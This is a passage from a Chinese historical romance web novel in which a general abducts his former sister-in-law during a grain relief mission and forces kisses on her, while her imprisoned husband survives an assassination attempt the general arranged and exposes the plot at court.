白芷闻声出去查看,掀帘的瞬间,清蕴看见远处水面泛着诡异的油光,瞬间意识到赵德全要做什么。 不能等他们动手。 脑海中瞬间转过应对之策,她抓起案上烛台掷向远处,轰然腾起的火舌瞬间吞噬了一片湖面。 “砍缆绳!”藉香的厉喝声穿透夜空,护卫们挥刀斩断连接船只的铁索。 被点燃的漕船顺着水流漂离主船队,但更多火油正从上游倾泻而下。 箭雨突然从岸边射来,混在流民里的死士露出獠牙。三百护卫既要护粮又要御敌,转眼就被冲散阵型。 清蕴和白芷冲向船尾小舟,火光照亮她身后追兵狰狞的脸,突然有利箭破空声直逼后心—— 寒光闪过,箭矢被长刀劈成两段。李审言纵马踏破火浪,玄甲在夜色中淬着冷光,刀锋扫过处血花飞溅。 战马嘶鸣着冲出水火交织的码头,身后五百铁骑如黑潮漫过河岸,接管了所有漕船的控制权。 “嫂嫂好大的手笔。”他甩去刀上血珠,盯着清蕴,“三十万石粮食给别人买名声,不如送我当军饷。” 清蕴站在小舟上,压下眼底的震惊,只剩下一个疑惑。 李审言怎么会在这儿? 两人被水分隔,一个在小舟,一个在岸边。 李审言见她丝毫没有靠岸的架势,眉头挑了下,忽然下马,单手解开护腕束带,露出小臂虬结的青筋。 清蕴正准备吩咐白芷把小舟摇远些,李审言已经纵身一跃,到了眼前。 小舟被震得猛烈摇晃,白芷立刻上前,李审言看也没看地把人一拉,借力甩向岸边,那边随即有人接住了白芷。 清蕴:“……” 她扶着船桅后退半步,李审言就上前一步,片刻不错地盯着她。 后腰抵上船舷的瞬间,李审言突然揽住她腰侧。 水雾扑在两人交缠的衣袂上,将青莲色裙摆与玄色战袍洇成同一种深灰。 “嫂嫂。”灼热的气息在面前,“许久不见。” 夜晚湖面寒凉,他的视线却宛如火燎,硬生生让清蕴感到了灼热。 “许久不见。”她道,“但我已经不在齐国公府了,李统领该换个称呼。” 这是要撇清关系,连称呼也换成了“李统领”,李审言一点没生气,从善如流地改口,“行,陆夫人。” “陆”字被他咬得极其轻,听起来就和唤“夫人”差不多。 面对这种耍无赖的方式,清蕴也没法儿和他争。 一别几年,不知是不是她的错觉,李审言似乎更高了,身影愈发健硕,肤色极深,身披甲胄站在面前时,就像一头侵略性极强的猛兽。 这种危险感让清蕴几乎汗毛直竖,尤其是从刚才相遇到现在,李审言黑漆漆的眼眨都没眨一下。 且因他的突然出现,原本的布置瞬间被打乱。清蕴不得不思考,这到底是齐国公的吩咐,还是他自己的别出心裁。 李审言看得出清蕴的疑惑,但她不问,他就不说,任两人在飘荡的小舟上面对面站着。 他早就吩咐过该做什么,所以即使他人不在,岸上的事也在有条不紊地进行。 清蕴主动开口,“所以李统领来这,所为何事?” 李审言:“军机要密,我能告诉嫂嫂,但不能告诉陆夫人。” 清蕴:“……” 她尽量平心静气,“那三十万石粮食是各地盐商共同为灾民所捐,如今流民正等这些粮食救济,还请李统领不要扣押粮船。” 李审言:“什么粮船?夫人是说我们刚在水面捡的那些船?” 清蕴:“……” 她终于意识到,从自己喊出“李统领”的那刻开始,他就准备对自己装傻充愣。 放在平时,她可以放下身段说几句软话。但不知为何,面对李审言时,心底那股火就极容易蹭蹭往上冒。这会儿也是,一股莫名的气上来,让她根本就说不出口。 她沉默下去。 李审言看着,表面漫不经心,眼底郁色也越来越沉。陆清蕴面对别人时不是向来很能说么?服个软,流点眼泪的事,对她而言非常简单。怎么,在他面前连装都不愿装? 还是说,再次嫁人以后,就自觉要和他这个“外男”保持距离,不能扯上任何关系? 无声间,清蕴发现小舟随湖面波浪越飘越远。 看李审言的架势也不会动,清蕴拿起船桨,还没划两下就察觉到了不对劲。 偏头一看,李审言不知从哪儿拿了根棍子当船桨。她往岸边划的时候,他就往远处拨。 她的力气不如他,划了几下,船反而越来越远。 清蕴没有露出怒色,抬眸扫过他,忽然开始解披风。 李审言坐直身,“陆清蕴,你要做什……” 话还没说完,随着“噗通”一声,清蕴已经跳下了水。 李审言毫不耽搁,把甲胄一甩,立刻追随她入水。 湖水清澈,透过水中碎成银鳞的月光,李审言能清晰看到一捧青丝如水藻般散开。 他双臂发力,劈开水波,伸手一探,抓住她脚踝。 铁钳般的手臂缠上清蕴腰肢,将她拖入更深的冷光里。 灼热的气息封住了唇,齿间溢出气泡,唇关被强行撬开,极其强势地交缠而来。 清蕴伸手推开李审言,推拒间指甲划破他脖颈,血珠混着水纹荡成红绦。 铁锈味在舌尖漫开那瞬,她屈膝顶向男人要害。 李审言被迫松手,清蕴窜出水面大口吸气。 湿透的襦裙贴着身躯,勾出窈窕匀称的弧度,清蕴攀着芦苇上岸。 “你真是疯了。”她轻喘着道出这句话吐出这个词,发梢不住滴水。 李审言跟着湿淋淋爬上岸,上衣不知怎的沉在了湖底,精壮胸膛蒸着白气,喉头那道被抓出的血痕随吞咽滚动,双目仍盯着清蕴,“两年前我就该这么做了。” 第85章 边吻边斗 李审言不是君子, 也学不会那些矜持文雅的作风。他要是这个性子,能不能活着长大都不好说。 真正教会他为人处事之道的是两头狼,面对猎物要争抢、撕咬,吞进肚子里的才是真的, 才能够占为己有。 曾经他有过耐心, 觉得对陆清蕴不用急, 再不济凭借小叔子的身份在她身边打转都行。可她太过耀眼, 吸引的人太多,李秉真没了, 先帝死了,还有个王老三,未来还会有周老三、吴老四。 她的眼光又多变,谁知道哪个就会突然得她青眼。 所以在重逢起就压抑着自己的李审言,看见清蕴跳下水后, 终于没能再忍住。 这是她自找的。他想。 在清蕴刚站起身时, 他又揽了过去,不顾她的挣扎俯身而下。 这回有经验了,懂得如何避开她那极会咬人的牙, 把双手往后反剪,也再抓挠不了他。 久违的香气浸入唇齿之间,含吮的地方又软又滑。即便在梦里想象过无数次,又如何抵得住现实中真实的湿漉漉的吻。 他吻得太激烈, 又不懂技巧, 几乎是用一种要把清蕴吞吃入腹的架势在咬。清蕴没怎么感受到暧昧心跳, 被咬得眉头紧锁。 亲着亲着, 怒火和压抑的郁气不知不觉变成了意乱神迷。为了方便,他把清蕴整个儿抱了起来抵在胸膛和树干之间, 钳制她双手的力道慢慢放松。 清蕴感到手能恢复自由,先用力在两人间撑开距离,紧接着就是一耳光甩过去。 刚才在水里快速游上岸,又被李审言强行纠缠了许久,这一耳光甩过去,被打的人仅是闷哼了声,她累得重重喘气。 不过清蕴没留情,李审言左脸确实火辣辣的。他眼神戾了一瞬间,舔舔唇角,再次钳住清蕴双手,覆去。 察觉到清蕴还有双脚可以动,便用腿锢住,以防她再来个要命顶膝。 期间清蕴再次挣开手,对他右脸又来了一记,李审言被打得脸歪过去,回头冷笑了下,继续捉住人亲。 两人一个挣扎一个不妥协,边吻边斗,大约一刻钟过后,胸膛都在剧烈起伏。 李审言上身赤着,嘴角多出几道伤口,胸膛和背部也多了几道血痕,不是被清蕴抓的,就是被树枝划的。 他低首看着不肯再抬眼的清蕴,这会儿心气稍顺,但还是不满意她这么凶的态度,“对别人能那么温柔,怎么就对我这么凶,嗯?” 清蕴嘴唇又麻又疼,懒得搭理他。 李审言面上毫不在意,反正人现在在身边。 打他也好,骂他也罢,反正他不会放人走。 转身从湖边捞起几块布条往身上一盖,他瞧了瞧自己,觉得这样还是不妥。 他是不介意被人笑话,可刚刚当着那么多的面和陆清蕴在小舟上,这样回去,指不定得有多少人对两人浮想联翩。 在军营里待那么久,他可太清楚那些大老粗脑子里都是什么废料。 干脆横抱起清蕴,带着人跳上屋顶,随便找了个房子窜下去。 这儿看起来是大户人家的住宅,但人早就搬走了,只留了对老仆看宅子。 这对老人家年纪大了耳背,对人跳到院子里的动静丝毫不知。 李审言左右看了看,直奔没人住的主屋,在里面翻箱倒柜,还真给两人分别找了套干净衣服,把其中一套递给清蕴。 清蕴这辈子还没做过这种事,一阵无语,但身上湿漉漉的,太贴身不说,也极容易着凉,只能换上。 她特意走到屋内的屏风后穿,好在李审言这会儿没有追过来看。 等她换好,李审言已经在窗边等待许久了。 月光笼住侧脸,他静下来的时候,总算能够让人注意到那俊美到几乎昳丽的五官。 静不了几息,一转过头,那股又邪又狂的气质顿时覆盖了一切。 这也是当初京中许多女孩儿不敢和他议亲的原因,生得过于高大健硕不说,眼神和气势都充满威胁,一看就不是好人,哪个敢嫁给他。 慢悠悠打量会儿,李审言笑起来,“你老了就是这样吧。” 清蕴换的这套衣裳正是年长妇人所穿式样,她不知从哪儿找来头巾,把湿漉漉的长发包了起来。在李审言眼中,仿佛看到了她几十年后的模样。 清蕴闻言白了人一眼,穿件衣服就是老了的模样,这“老”得未免太容易。 李审言已经习惯她的眼刀,把两人的湿衣服打成包裹,再走过去把人一捞,开始飞檐走壁。 夜风刺啦啦扑面,打在脸上又凉又疼,清蕴别开脑袋。 李审言察觉后,动作稍稍慢下来,用衣袖横在前方,帮她挡风。 他带她回的不是别处,正是清蕴用于起居的客船,白芷、藉香都在这儿。 水面的火已经熄了,大部分人在搬动被烧粮船上的粮食。 “主子!”一看到清蕴,白芷猛得扑了过来,藉香也握住腰间刀柄,走来挡在二人身前。 主仆几人的眼神如出一辙,都是对他的抵触和警惕。 烛光昏暗,白芷还是第一时间发现清蕴换了件衣服,她不知刚才发生了什么,反正没好事。 “还想要那些粮食,就待在船上别跑。”李审言开口,“不然,我可不会管那些流民有没有饭吃。” 放完狠话,他吩咐几十号人分别在岸上和水面把这艘船围着,以防人一个不注意从水下溜走。 转头,又带人去找当地官府算账。 李审言这五百轻骑是强行破城门闯进来的,徐州这儿压根没想到会有人夜袭,戒备不严,放倒城门上的人就能轻易攻入。 几年领兵下来,李审言对如何快速攻城破敌再熟悉不过,自己人这边根本没有伤亡。 李审言去敲打当地官府,船舱这边,藉香跪地谢罪,“都怪属下无用!” 他当时在按吩咐疏散粮船,发现有人跳上主子小船后立马狂奔赶去,还是晚了一步。 早在清蕴守孝期间,贴身照顾护卫她的白芷、藉香多少都察觉了李审言的心思,那时候不说,是怕影响主子名声。如今李审言在这么多人面前都毫无顾忌了,气得他们咬牙。 尤其是藉香,他曾是李秉真的人,天然就对李审言敌意更深。 “不怪你,他们来得突然,谁也想不到。”清蕴道,“他们人多,且都是精兵,不要硬碰硬。我没有下令,不许擅自动手。” 李审言那性子,可不一定会容忍藉香的冒犯。 想到这儿,清蕴加重语气,“藉香,听到了吗?” 藉香沉默片刻,“是。” 他很憋屈,眼睁睁看着效忠的主子被欺负却不能出手,甚至在半个时辰后,李审言大喇喇进入船舱时,还要守在外面。 藉香只能竖起耳朵,准备听到呼唤或不寻常的动静就立刻冲进去。 清蕴已经换了身衣服,整理一新,恢复端庄优雅的形象。 其实她无论怎样,李审言都不在乎,反正他知道真正的她是什么模样,嘴上却道:“你这裙子没我挑的那套好看。” 他说的是那件老气沉沉的襦裙。 清蕴自动无视了这话,“那三十万石粮食,李统领到底准备怎么办?还请给个准话,流民都在等着天亮后的赈灾粮。” 她来时故意闹得声势浩大,为的就是让流民知道赈灾粮来了。 李审言这会儿气顺,不在乎那阴阳怪气的“李统领”了,“这儿留十万石,剩下的我会带走。余下不够,这里的官府会补上。” 他已经找当地知府好好“商量”过了,他们如果敢不开仓放粮,就要做好被杀个回马枪、人头落地的准备。 清蕴:“李统领的意思,是要明抢?” “什么叫抢?”李审言往后一靠,大马金刀地坐着,“临时征用军需,等战事一了,自然会算上陆夫人的功劳。” 本质上,齐国公和各地起义造反的人没什么两样,但他打的是“清君侧”的名义,有西南一带正规军的支持,自身又得民心。所以李审言说的算功劳,还真不是大话。 清蕴微微低头,似乎在思索。 她还没做应答,一张脸就从下方探了过来,“在想王老三?” 清蕴:“……我想谁,和你无关。” 她第一次听到“王老三”这称呼被放在王宗赫身上,有点怪异,又觉得符合李审言的作风,毕竟他称呼齐国公都是“老头子”。 李审言:“确实无关,但我奉劝你还是少想。一个没用的废物,被关在大狱出不来,还得靠别人为他忙碌奔走,有什么好惦记?” 说完龇牙,露出意味不明的笑,“更何况,等你到了京城,人还在不在,都不一定。趁早忘了,回头也能少掉点眼泪。” 清蕴闭了闭眼,不想和他斗嘴。 李审言却说个不停,“文官都是花架子,只会玩心眼,当初你是怎么看上王老三的,就凭他舌绽莲花?如果不是有个镇守宁夏的王维轩在,真当先帝会忌惮王家?” “他也就会趁人之危,知道你衡量利弊后只能做选择,不然哪有他的位置。” 耳边嗡嗡话语不停,扰得清蕴根本静不下心思考,终于忍不住开口打断,“不然如何选?学李统领为爱抛下一切,浪迹天涯、风餐露宿?” 李审言愣了下,随即扬眉,“所以,你也承认我和王老三的区别,知道谁是真心假意。” 说了那么长一句,估计他就听到“为爱”两个字。 清蕴再次闭上眼,决定当个哑巴。 ** 留下清蕴的三百护卫和自己的一百骑兵,李审言没在徐州多留,目前还没到能够肆意走动的时候。 清蕴作为他此行的主要目的,自然要被带上。 为着她的生活起居,李审言留下白芷,对藉香就没那么好的性子了,直接把人赶走。 清蕴吩咐藉香:“你先回京,把徐州的事禀报给王家几位大人,让他们尽快助三哥出狱。我这儿,就说我还有事要办,只能暂时留在徐州。” 藉香握拳,“我去召集人手,在路上埋伏……” 清蕴摇摇头,瞥了眼在远处懒洋洋站着,丝毫不担心他们密谋的李审言,“他敢放你走,就不怕你来拦。单打独斗,你不是他的对手,论兵马,如今也很难有人能抵挡得住李家军。” 她很平静地陈述事实,并道:“你曾在齐国公府待了那么多年,定了解齐国公的能耐,如今他已是势不可挡。与其在这儿和李审言纠缠,不如回去让他们早做准备。” 藉香还要再说,被清蕴噤声,“放心吧,好歹我也曾是他大嫂,他不敢真做什么。” 藉香不知主子是真有把握还是宽慰之言,但只能听从。 第86章 难怪李审言发疯 走得悄无声息, 回来得迅疾,且后方带着二十万石粮食。孟嘉听到这消息,险些以为自己误会了李审言,直到他看到被李审言从马上抱下来的身影。 那一瞬间, 孟嘉脑子里闪过“天要亡我”四个大字。他以为李审言是潜龙, 没想到这人是觊觎曾经大嫂、满脑子情爱的痴心虫, 真能在这种关键时刻跑去劫人! 看着李审言吩咐下属把人送去住处, 他忍不住道:“疾驰几百里,就为抢这么个人?” 李审言斜睨他, “二十万石粮食,看不见?” 孟嘉把满腹的脏话咽回去,“咱们不缺这些粮食,何况,等和将军会和后, 你准备如何禀报?” 李审言:“陆夫人深明大义, 知道我们所做何事后,主动带着粮食来投奔,将军知道也会欣慰。” 孟嘉:“……” 仗着二人关系较好, 他忍不住问:“你这样,将军可曾知道?” 孟嘉没敢说得太直接,觊觎曾经的寡嫂,传出去对李审言、陆清蕴都不是什么好事。时下对女子禁锢不算紧, 官府还十分鼓励女子守寡或和离后再嫁, 但也不可能鼓励嫁给曾经的小叔子。 又不是未开化的蛮夷, 行父死子继、兄终弟及那一套做法。 最重要的是, 人家陆夫人现在的夫君还好好的。 李审言:“知道如何,不知道又如何?” 他就是被老头子的话术给骗了。 老头子曾说, 想要做天下大不韪之事,就要有与天下为敌的本事和勇气。 李审言想光明正大地拥有她,才没多作犹豫就随去西南。哪料到西南一行,直接让陆清蕴成了他人妇。 所以这回,无论老头子再说什么,他都不会听。 看李审言接连部署完一连串事,往住处去,孟嘉紧跟而上,“不要冲动,你知道将军的打算,王、夏、谢、周、郑、柴、荣、闵这些人家都不能随意动。这位是王家三郎的夫人,千万别做出无可挽回之事。” 李审言停步,“你以为我要做什么?” 孟嘉当然是怀疑他迫不及待要强占美人。 李审言冷笑了下,解开腕带和领口,示意他看自己的伤口,手背、手臂、额角、脖颈……全是道道血痕,看起来结痂不久。 末了道:“你该担心的,是我。” 孟嘉:“……” 一阵恍惚,他依旧默默跟上。 李审言落脚处依旧是极其简单的住宅,之前只收拾出了一间主屋供居住,如今清蕴来了,几个小兵就开始收拾其他屋子。 清蕴就坐在院子里的石桌边,和白芷说话。 孟嘉跟随跨过门槛,忽然失声。 石桌畔的女子垂袖而坐,手指搭在茶盏边沿。穿的是天青色襦裙,乌发间只有一根素银簪,暮色在她周身自动分流,连归巢的鸟雀掠过院墙时都轻了三分。 坐姿挺而不紧,落落大方,宛如一根青竹把将颓的晚霞钉在天际,宁静却不失力量。 听到动静,她回眸,视线不经意地扫来,先掠过李审言,再打量地看向他这张陌生面孔。 几乎一眼,孟嘉不得不承认,陆夫人确有极其吸引人的魅力,无论外貌还是气质。 难怪李审言发疯。 他不想等李审言介绍自己,那还不知会被套上什么称号,先一步打招呼,“陆夫人,在下孟嘉,出身太原孟氏,在家中行七,夫人唤我孟七就好。” 清蕴意外,没想到和李审言走在一起的人会如此有礼,像个儒雅文人,而非粗鲁武将。 不过她如今为“阶下囚”,讲究不了那么多,仅向人微微点头,没有多做介绍。 李审言瞥了眼孟嘉,大步走向清蕴,“还缺什么就吩咐人去买。” 清蕴:“李统领会在这停留多久?” 李审言想了下,“三五天的样子。” “既然很快就会离开,那就没什么需要置办。”清蕴顿了顿,“多谢李统领护送这一程,等回到京城,我自会向齐国公和家中长辈禀明,送上谢礼。” 李审言微不可闻地冷哼一声,知道她是特意在孟嘉面前这样说,故意撇清和他的关系,以免引起别人猜想。 孟嘉也很识趣,“原来如此,陆夫人真是找对人了,我们李统领最热心肠,又讲义气,有他护送,您就放心吧。” 他说得一本正经,清蕴和李审言都微妙得沉默了会儿。 “爷——”里间阿宽唤人,似乎有事请示,李审言瞧了眼二人,往廊下去。 孟嘉在石桌旁落座,“听说柳太后意图鸩杀静王、囚禁陛下,如今还下令射杀流民,引得民怨四起,我们李将军才怒而率兵回京,不知道现在京城形势如何?” 孟嘉一开口,清蕴就知道他是聪明人,擅长的是智谋。 他想借机了解朝堂局面,她也不介意卖这个人情。 挑了些重要大事,清蕴开始和孟嘉交流起来。 等李审言回来,就看到清蕴和孟嘉面对石桌而坐,含笑晏晏,聊得十分投机。 他没出声打扰,同样在旁边坐下。 李审言生就一双丹凤眼,平时漫不经心时,会显得懒洋洋、吊儿郎当。当他面无表情看人,就会有种不怒自威的气势。 孟嘉自知在聊正事,没什么别人看不得、听不得的,可实在忽略不了身边的灼灼目光,隐约中有不悦,还有丝丝幽怨。 他有些受不了,谁能想到李审言在陆夫人面前是这模样。且这人颇为记仇,还是不要在这种时候招惹为妙。 想了解的事情都弄清楚后,孟嘉立刻识趣告辞。 清蕴继续坐在原地,欣赏夕阳,慢慢品茶,刚才的微笑也随孟嘉的离开消失了。 李审言盯着她,“你喜欢孟嘉这样的?” 李审言能分辨她的真心实意或假意敷衍,刚才面对孟嘉,她说话的语气很淡,笑容也不刻意,不是在敷衍。 清蕴:“孟公子待人有风度、有礼仪,也讲道理,为何不喜欢?” 李审言冷嗤,“你的意思是,我没风度又粗鲁,还蛮不讲理。” 清蕴抬眸,“我没这么说,李统领若自己要对号入座,还请自便。” 李审言:“所以,就是喜欢这些文人?” 清蕴微微一笑,“自然,读书能明礼仪、知荣辱,我的夫君更是其中佼佼者。” 李审言胸口一滞,狠狠盯着她。 清蕴不躲不避,任他盯,身后白芷已经屏息凝神,随时准备上去帮忙。 可被暗暗嘲讽的人硬是忍下了这股气,留下一句硬邦邦的“我先去办事”就大步离开了。 在他身后,清蕴看着那道背影,不自觉出神片刻。 ** 李审言把清蕴强带到身边,凭的不只是一股冲动,他有几重思量。 一来他们虽然不缺粮,但也决不能让这批粮入徐州官仓,可能转眼就会被柳太后充作军饷。他跑了这一趟,那十万石粮食才会真正进入流民口中,还能帮李家军收揽民心;二来陆清蕴能够调动漕运盐商,不管她目的为何,朝堂那儿柳太后若要最后反扑,很可能拿她作笺,构陷她通敌或者其他;三来,就是纯粹的私心,他想见她,想把人留在身边。 他那句话也没有作假,他已经暗中做了部署,准备在自己带陆清蕴进京前,让大狱里待着的王宗赫出“意外”。 这些想法,李审言不曾对旁人说道,连孟嘉都认为他是感情用事,只担心他惹祸。 他暂时也不打算为自己证明。 先帝在时,他是怎么爬到旗手卫校尉的,朝堂上下有目共睹。平土司之乱这几年,他又“冲动”了多少回,许多人也清楚。 在外人眼中,他应当就是个有勇无谋的武夫,对他不会太过提防。 ………… 刑部大狱,身处牢狱的王宗赫不像外人想的那样凄惨。 柳太后的人最初对他用过私刑,随着形势瞬息万变,齐国公率兵北上,各城或是败退,或是主动放行,他们都在慌着保命,已经无暇再顾及被关押在牢里的工部侍郎。 他搬到相对整洁偏僻的牢狱,三餐另作安排,甚至有桌椅纸笔供应。 刑部一位侍郎私下来寻他,“克衡兄,不是我们有意为难,没有明显证据也要把你关在这儿。之前是那位下令,非得让你认下那贪墨的罪名,好叫柳家人开脱。” 他语气转变过于明显,王宗赫沉思了会儿,“齐国公打到哪儿了?” 刑部侍郎惊于他的敏锐,投去感叹的眼神,压低声音,“据推算,还有三日就能进京。柳家如今狗急跳墙,已经在发疯了。” 所以大部分人现在都在明哲保身。 王宗赫问,“请问,王家现在……?” 刑部侍郎道:“放心吧,王家被大长公主的兵马护得好好的,连带静王府一起,护得密不透风。柳家还抽不出那么多精力针对你们。对了,尊夫人倒是还在徐州,听说她向盐商筹集了三十万石粮食亲自前去赈灾,真乃女中豪杰,对你又情深意重,克衡兄好福气。” 他语带歆羡,小小捧了把夫妻俩,王宗赫仅是淡笑了下,没作过多回应。 已经有十来天没收到清蕴消息了,不应该。 如此又过两日,王宗赫发现,这天狱中静得出奇,连每隔一段时间就会来巡逻的狱卒都不见人影。 思索之际,突然有一士兵装扮的男子大步走来,瞧他一眼,“是王宗赫王侍郎吗?” 王宗赫颔首。 来人抽刀砍断狱门锁链,“李将军已经进京勤王,我奉令来解救狱中被关押的各位大人,统统带去李将军身前问话,还请大人随我走。” 王宗赫起身,“勤王之师已经尽数抵京了?” 来人答是,打开狱门。 “有劳。”王宗赫跨出牢门时踉跄半步,右手顺势搭上对方肩甲。 来人肌肉瞬间绷紧,在察觉文官绵软无力的指节后松懈下来。 王宗赫目光不经意扫过这人身上甲胄。 看式样确是西南驻军制式,可护心镜边缘有道寸长斩痕——那是旗手卫独有的标记,专为近战特制的薄刃才能留下这般细窄创口。 握住袖中银簪,走到拐角处,趁来人观察四周情形时,王宗赫眼神一厉,忽然暴起,抬手用锋利簪尾贯穿来人喉骨。 一击即中,又狠又快,来人根本不曾提防他会这么果断下手,浑身瞬间失了力气,指甲抠进砖缝,最后一个字都没说出来,就瞪大眼睛咽了气。 居高临下看着他失去最后的气息,王宗赫甩去袖口血珠,抬眸看向空无一人的大狱。 时间不对,所以他起初以为这是柳家人派来,仔细观察后才发现竟是旗手卫中人。 他和旗手卫无冤无仇,实在要说就只有…… 王宗赫想起曾经远在千里之外的那人。 李审言。 第87章 你觉得,一次就能满足我吗? 王宗赫想得不错, 人确实是李审言所派,在齐国公进京前一天派人带王宗赫出狱,借机杀了他,可以完美把这件事嫁祸给柳家。 即使老头子对他有怀疑, 也找不到证据。 但王宗赫警惕而敏锐, 本来就在随时提防柳家人的暗算, 对李审言派来的人, 也很轻易就看出了破绽。 他杀人后没多久,前几天探望过他的刑部侍郎匆匆而已, 瞧见尸体后瞪大双目,仔仔细细扫过王宗赫全身,“克衡,这是……?” 王宗赫:“应是柳家人所派,试图暗算我。” 刑部侍郎点头, “得知狱卒临时都被调出去一刻钟, 我就料到这里要出问题,还好你机敏。” 他抹了把汗,要是王宗赫出事, 要交代的人可太多了。 想了想,刑部侍郎下定决心,“你还不能出去,这样吧, 今夜你宿在我平时休息的值房, 钥匙也给你, 我不会告诉任何人。” 王宗赫颔首, “那就有劳兴元了。” 他就此换了个地方,梳洗一新的同时, 也从对方口中得知了更多当前形势。 柳太后那一支及其同党如今已分崩离析,正准备大难临头各自飞,甚至互相攻讦、推卸罪名。 柳太后挟幼主把持朝纲,文昭帝而今九岁,不仅没有被柳太后养歪,反而暗中保了不少人。如果齐国公除去以柳太后为首的佞党后,要借机弑帝上位,恐怕也会被人用同样的理由讨伐。 所以,齐国公最好的做法是先下手为强,在进宫前,就借柳太后之手先杀文昭帝。 王宗赫目光幽幽。 平安度过一夜,翌日,王宗赫就从刑部侍郎口中得知齐国公一路畅行,如今率兵围了皇宫。 他托人带话,先一步出刑部,到了齐国公面前。 齐国公尚未进宫,此刻就在久违的国公府,左右有十余名将领拥护,齐齐看着王宗赫步入厅堂。 齐国公对这个娶了清蕴的年轻人观感颇为复杂,审视片刻,“听说你有要事?” 王宗赫:“下官得知一事,和先帝驾崩、承嗣相关,还请国公爷屏退左右。” 左右皆惊,看向齐国公,见其缓缓颔首应允,“其余人等退下。” 王宗赫口中的秘闻,其他人不得而知,只知两人在堂中谈了大约半个时辰。 谈话结束时,齐国公看王宗赫的眼神已然不同,转变成欣赏,心道此子能在清蕴陷入困境时站出来迎娶她,现在能够站出来为他出谋划策,堪称有勇有谋,怪不得清蕴会应下。 “我会去找大长公主和静王求证,若此事为真,倒也省了许多麻烦。”齐国公道。 王宗赫笑了下,本来已准备告退,忽然道:“还有一事。” “嗯?” “昨日曾有一人自称为国公下属,假意带下官出狱。” 齐国公扬眉,莫非是柳家人意图借他的手除去王宗赫,这是让他帮忙算账? 王宗赫从袖中取出用帕子包裹的物件,双手呈上,“此人持西南军令牌,却着旗手卫暗甲,所以才被下官看出蹊跷,侥幸逃脱。” 齐国公目光在染血甲片上凝住,西南驻军与旗手卫素无瓜葛,能同时调动这两支的……他忽然想起前阵子的密报,说李审言麾下五百轻骑消失几日,回来时带着二十万石粮食。 本以为是这小子终于懂事了,结果…… 虽然被告到身前,当着王宗赫的面,齐国公也不可能直接承认儿子的所作所为,而是作欣慰状道:“好在你机敏,没有让贼人以老夫之名暗害了你这样的栋梁之材。” 王宗赫:“此事与国公无关,下官之所以揭露出来,是希望国公爷提高警惕,免得贼人如法炮制,暗害官员。” 齐国公:“……好。” 一个“好”字,王宗赫已明白这是齐国公的承诺,告退后转身离去。 在他身后,齐国公目中隐含的怒气显露出来,终于明白过来,那小子对清蕴不仅没死心,反而执念更深。不然不可能还没回京,第一步就是派人暗杀王宗赫。 与此同时,心中还有隐忧。王家三郎并非易与之辈,王家也不是任人揉捏的软柿子,即使是他,也不可能随意动王家。 允勖要和这样的人争,不一定能讨得好。 ** “主子,姜汤。”白芷递上热气腾腾的汤碗,看着清蕴一口气喝下。 这几天清蕴喉间容易干涩,吞咽时有轻微的疼痛感,这是感染风寒的前兆,便喝姜汤驱寒。 李审言闻着姜汤的气味就皱眉,他很少生病,对这种刺鼻、苦涩的味道基本没怎么接触过。如果要让他喝这些,他宁愿病一场,再任其自己痊愈。 看白芷离开,他道:“我发现一件事。” 清蕴对他基本是心情好时就搭理两句,其余时候则爱理不理,在他面前全无温婉善解人意的模样。 这会儿就没理人。 李审言道:“白芷曾经唤你‘夫人’,如今只唤‘主子’,你觉得为何?” 能是为何,自然是因为在清蕴守孝期间,白芷慢慢习惯了后者的称呼,在嫁人后也没改而已。 李审言不这么想,他只认为,连清蕴身边的女使都明白她嫁给王宗赫是形势所迫,故不再称呼“夫人”。 他眉梢间挂了些许愉悦,清蕴不明所以,但也懒得追问。 李审言是狗脾气,喜欢凶人,还倔,三句话里有两句半都在噎人,且总有自己的一番道理。清蕴早就放弃了和他正常沟通交流,一心在思忖回京之后的事。 她不希望回京后,和李审言的这段事被闹得满城皆知。一来容易招惹她不喜欢的是非,二来只会破坏生活的安稳,和她的希冀不符。 她都不曾发现,自己思索时,总习惯无意识地缠绕着一股发丝,目光放空望向远处。 李审言很熟悉她这些细节,目光微沉。 从密报中可知,派去的人没有得手,王宗赫还活着,再过两日,他们就要抵京了。 ………… 当夜,暴雨把驿站灯笼浇得东倒西歪,李审言闯进厢房门时,清蕴正对着铜镜卸耳珰。 烛火被劲风卷得明明灭灭,在他脸上镀了层阴影。 “雨太大,今晚走不了了。”他甩去披风上的水珠,铁锈味混着雨汽在狭小空间漫开。门外白芷的声音被人隔开,木栓落锁声清脆得刺耳。 清蕴指尖捏着翡翠耳坠,看向他,“驿站应该不至于缺李统领一间房。” 话音未落,男人染血的手掌已撑上妆台。铜镜映出他绷紧的下颌线,伤口渗出的血顺着护腕滴在她袖口。 “你闻不到血腥味?”李审言扯开腕带,仍带鲜血的伤口被雨水泡得发白。 清蕴疑惑,才分开半天,又没有战事,他怎么受的伤? 李审言看出她的疑问,“没什么,也就是帮人找药材时,不小心被山石划破了手臂。” 清蕴今天正说了几味药材,但她是让白芷托人去采买,而不是去山上采摘。 面对李审言再明显不过的意思,她顿了下,“药膏在哪?” 李审言立刻从怀中取出两个药瓶,“黑色止血,青色促伤口愈合,你看着来吧。” 说完,手臂往椅背上一搭,一副等她帮忙的模样。 清蕴起身,先把长发束在身后,再找来剪刀,把李审言袖口慢慢剪开。 狰狞翻卷的皮肉越发明显,她没有惊惧,继续有条不紊地帮李审言冲洗、清理,再细心撒上药膏。 她处理伤口时,李审言就低头肆无忌惮地看她。 看她微微颤动的眼睫、挺翘的鼻、嫣红的唇,无一处不合心意,无一处不在引诱着他。 他想起重逢时的几个吻,虽然痛,但滋味悠长,事后想起来,总引得浑身躁动。 相处这些天,他不是没有冲动。和陆清蕴共处一室时,总需要更强大的意志力去克制自己。 以两人的处境,他想对陆清蕴做什么,她其实都无力反抗,而李审言向来也不是道德感那么强的人。但不知为何,他就是没有强行突破那道防线。 屋外暴雨如注,屋内安静平和,在这种氛围中,李审言几乎有种两人已成夫妻的错觉。作为妻子的陆清蕴在帮他包扎伤口,眼中满是心疼。 完好的那只手动了动,先抚上那乌黑的长发,再搭上清蕴肩头。 清蕴抬首,对上她那双如湖水般的双眸时,受此刻氛围蛊惑的李审言没忍住,低下头。 出乎他意料的是,面前人没有躲。 他试探性地碰触到那柔软温热的唇,确定她没有抗拒的意思,直接撬开齿关长驱直入,熟练地勾缠起来。 隐隐的啧啧声响起,李审言愈发激动,双手托起清蕴把她放在妆台上,扫开一切碍事的东西,抵着人,在大雨声中亲得昏天暗地。 这是两人的第二次亲吻,和初次的粗暴截然不同,在清蕴的配合下,李审言感受到了身心相融的极致愉悦,以至双眼都隐隐发红。 